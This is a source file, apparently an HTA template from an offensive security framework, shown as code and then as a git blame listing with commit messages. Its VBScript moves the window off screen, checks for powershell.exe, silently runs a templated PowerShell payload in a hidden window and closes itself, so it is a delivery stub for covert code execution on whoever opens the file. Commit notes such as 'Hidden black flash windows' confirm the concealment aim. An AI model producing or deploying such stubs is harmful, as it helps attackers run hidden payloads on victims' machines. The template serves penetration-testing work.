data/templates/scripts/to_powershell.hta.template

<script language="VBScript">
  window.moveTo -4000, -4000
  Set %{var_shell} = CreateObject("Wscript.Shell")
  Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
  For each path in Split(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%"),";")
    If %{var_fso}.FileExists(path + "\..\powershell.exe") Then
      %{var_shell}.Run "%{powershell}",0
      Exit For
    End If
  Next
  window.close()
</script>
HTA Powershell template 2015-04-20 23:19:54 +01:00			`<script language="VBScript">`
split PSModulePath in multi strings with ';' 2017-04-26 11:01:59 +08:00			`window.moveTo -4000, -4000`
			`Set %{var_shell} = CreateObject("Wscript.Shell")`
Do a check for powershell.exe before running it. 2015-05-15 11:48:21 -05:00			`Set %{var_fso} = CreateObject("Scripting.FileSystemObject")`
Handle multiple entries in PSModulePath 2017-04-19 11:22:38 -04:00			`For each path in Split(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%"),";")`
			`If %{var_fso}.FileExists(path + "\..\powershell.exe") Then`
Merge remote-tracking branch 'upstream/pr/8299' into land-8267- 2017-08-20 17:43:56 -05:00			`%{var_shell}.Run "%{powershell}",0`
Handle multiple entries in PSModulePath 2017-04-19 11:22:38 -04:00			`Exit For`
			`End If`
			`Next`
Hidden black flash windows / Close HTA windows 2017-04-16 22:53:17 -05:00			`window.close()`
HTA Powershell template 2015-04-20 23:19:54 +01:00			`</script>`